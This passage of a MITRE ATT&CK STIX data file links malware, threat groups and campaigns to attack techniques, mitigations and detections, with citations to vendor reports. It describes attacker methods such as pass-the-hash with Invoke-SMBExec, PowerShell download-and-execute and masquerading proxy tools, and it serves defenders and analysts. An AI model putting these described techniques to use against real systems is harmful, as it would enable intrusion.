2021)","relationship_type":"uses","source_ref":"malware--9a097d18-d15f-4635-a4f1-189df7efdc40","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a6bfa36-adff-402d-9913-be2e45bc22aa","created":"2023-03-26T18:00:37.927Z","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T18:00:37.927Z","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) may store RC4 encrypted configuration information in the Windows Registry.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a6f7d54-3165-4fd2-a2f8-a6357d231192","created":"2023-04-06T19:00:31.998Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-06T20:15:46.158Z","description":"For [Operation Ghost](https://attack.mitre.org/campaigns/C0023), [APT29](https://attack.mitre.org/groups/G0016) used new strains of malware including [FatDuke](https://attack.mitre.org/software/S0512), [MiniDuke](https://attack.mitre.org/software/S0051), [RegDuke](https://attack.mitre.org/software/S0511), and [PolyglotDuke](https://attack.mitre.org/software/S0518).(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a716922-181e-409c-b112-851e7f172d7c","type":"relationship","created":"2020-12-17T15:24:12.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye ADFS","url":"https://www.troopers.de/troopers19/agenda/fpxwmn/","description":"Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020."}],"modified":"2021-09-20T16:47:19.589Z","description":"Enable advanced auditing on AD FS. Check the success and failure audit options in the AD FS Management snap-in. Enable Audit Application Generated events on the AD FS farm via Group Policy Object.(Citation: FireEye ADFS)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a7317fd-fa8f-4c32-8aa5-4ff225116f7e","type":"relationship","created":"2020-05-14T22:29:26.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Sharpshooter December 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."}],"modified":"2020-05-14T22:29:26.039Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) can enumerate all running processes and process information on an infected machine.(Citation: McAfee Sharpshooter December 2018)\t","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a78d2b1-e15c-4985-a1a4-fb2af9824f33","created":"2023-04-10T15:48:30.633Z","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T15:48:30.633Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used code signing certificates issued by Sectigo RSA for some of its malware and tools.(Citation: ESET Lazarus Jun 2020) ","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a7baaae-c0d5-4465-917d-4612232a6dae","created":"2024-05-25T16:29:28.237Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:29:28.237Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) has used the Windows Script Host (wscript) to execute intermediate files written to victim machines.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a7c712a-c79d-42f2-bfbf-d38798f4c855","type":"relationship","created":"2021-03-31T15:10:48.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-03-31T15:10:48.164Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used webshells including [P.A.S. Webshell](https://attack.mitre.org/software/S0598) to maintain access to victim networks.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a8068fb-7cf9-4ab6-92a7-e8b3ecdf578d","type":"relationship","created":"2019-01-30T13:28:47.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2019-06-28T15:15:54.413Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can use scripts to invoke PowerShell to download a malicious PE executable or PE DLL for execution.(Citation: Unit42 Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a83df94-30d3-4d4b-94c0-d988e3fcfc33","created":"2022-01-07T16:08:48.563Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.680Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has used previously compromised administrative accounts to escalate privileges.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a84e8a4-2e4f-4d38-8a0d-6a5b1fcfd542","type":"relationship","created":"2021-08-06T18:38:23.654Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Emissary Trojan Feb 2016","description":"Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"}],"modified":"2021-08-27T14:42:00.584Z","description":"[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute gpresult.(Citation: Emissary Trojan Feb 2016)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a86cd72-8386-4c75-8362-7b9020add12b","created":"2023-07-28T17:52:58.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T14:35:01.966Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has used the PowerShell utility `Invoke-SMBExec` to execute the pass the hash method for lateral movement within an compromised environment.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a8afe63-a754-40e3-98af-cfc3f0aa6ef5","type":"relationship","created":"2020-07-30T17:43:35.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."},{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T19:32:34.363Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has collected the hostname and operating system version from the compromised host.(Citation: FireEye Metamorfo Apr 2018)(Citation: Fortinet Metamorfo Feb 2020)(Citation: ESET Casbaneiro Oct 2019)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a8e30e6-c226-4739-87de-bd98c104d211","type":"relationship","created":"2019-06-24T14:05:00.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.","url":"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/","source_name":"Intezer HiddenWasp Map 2019"}],"modified":"2019-07-06T22:20:35.357Z","description":"[HiddenWasp](https://attack.mitre.org/software/S0394) uses a rootkit to hook and implement functions on the system.(Citation: Intezer HiddenWasp Map 2019)","relationship_type":"uses","source_ref":"malware--fc774af4-533b-4724-96d2-ac1026316794","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a8fa25a-8cc6-4bd1-a97a-a0d9df9c1507","type":"relationship","created":"2021-05-25T15:58:53.678Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-05-25T15:58:53.678Z","description":"[CostaBricks](https://attack.mitre.org/software/S0614) has added the entire unobfuscated code of the legitimate open source application Blink to its code.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--5d342981-5194-41e7-b33f-8e91998d7d88","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a97476d-9e53-4212-9179-7afbab0b8915","created":"2022-06-16T13:08:03.143Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-11T21:06:28.084Z","description":"Monitor for newly constructed network connections that may search network shares on computers they have compromised to find files of interest. Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on network protocols such as SMB that revolve around network shares.","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a9d92e5-e9b5-40bd-8cc4-c4cc5ed9fdd4","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","source_name":"Proofpoint TA459 April 2017"}],"modified":"2019-03-25T17:00:47.364Z","description":"[TA459](https://attack.mitre.org/groups/G0062) has exploited Microsoft Word vulnerability CVE-2017-0199 for execution.(Citation: Proofpoint TA459 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a9e5785-f1cb-4127-9045-07e7bba11e80","type":"relationship","created":"2019-01-30T13:42:09.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-17T01:16:25.861Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) uses WMI to query the Windows Registry.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8aa82bc1-bd38-482d-9cb6-b83877e0b0f4","type":"relationship","created":"2020-02-25T19:17:33.743Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T23:24:39.464Z","description":"Disable the RDP service if it is unnecessary.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ab176f0-009f-49e9-ba4b-f476c33697f4","type":"relationship","created":"2017-05-31T21:33:27.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","source_name":"Kaspersky Carbanak"}],"modified":"2019-03-22T19:59:27.077Z","description":"(Citation: Kaspersky Carbanak)","relationship_type":"uses","source_ref":"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c","target_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ab253ed-9bf8-4e0d-b367-f9d5349a7cfc","type":"relationship","created":"2020-10-02T15:49:03.913Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T15:49:03.913Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5","target_ref":"attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8ab4fa22-a24c-4596-996e-4abf190521da","created":"2022-05-25T19:40:27.483Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-03T20:08:16.474Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used `dllhost.exe` to mask Fast Reverse Proxy (FRP) and `MicrosoftOutLookUpdater.exe` for Plink.(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ab5954b-d36f-40c3-8f90-7e4862d38f43","type":"relationship","created":"2019-09-13T14:12:16.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-09-13T17:14:47.798Z","description":"[Machete](https://attack.mitre.org/software/S0409) saves the window names.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ab5ee87-6fdf-447a-b622-0a68ed34e330","type":"relationship","created":"2020-03-20T19:01:49.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Shamoon Nov 2016","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"}],"modified":"2020-03-20T19:01:49.471Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) attempts to copy itself to remote machines on the network.(Citation: Palo Alto Shamoon Nov 2016)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8abfac45-26c2-493f-a4f3-3fb4d196712f","type":"relationship","created":"2019-05-02T00:08:18.532Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","source_name":"Cylance Shaheen Nov 2018"}],"modified":"2019-06-12T19:55:22.059Z","description":"(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4","target_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ac07a3f-9468-47a3-8ecc-c432f80e03f4","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2020-03-16T18:24:19.298Z","description":"[APT3](https://attack.mitre.org/groups/G0022) leverages valid accounts after gaining credentials for use within the victim domain.(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ac0d84e-76ce-4702-8616-2a2f9b41cfdc","type":"relationship","created":"2021-09-21T14:52:49.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-09-21T17:11:52.844Z","description":"(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8ac5b693-ed9b-483e-9f7c-7cd1357e3499","created":"2024-09-18T18:07:38.530Z","revoked":false,"external_references":[{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 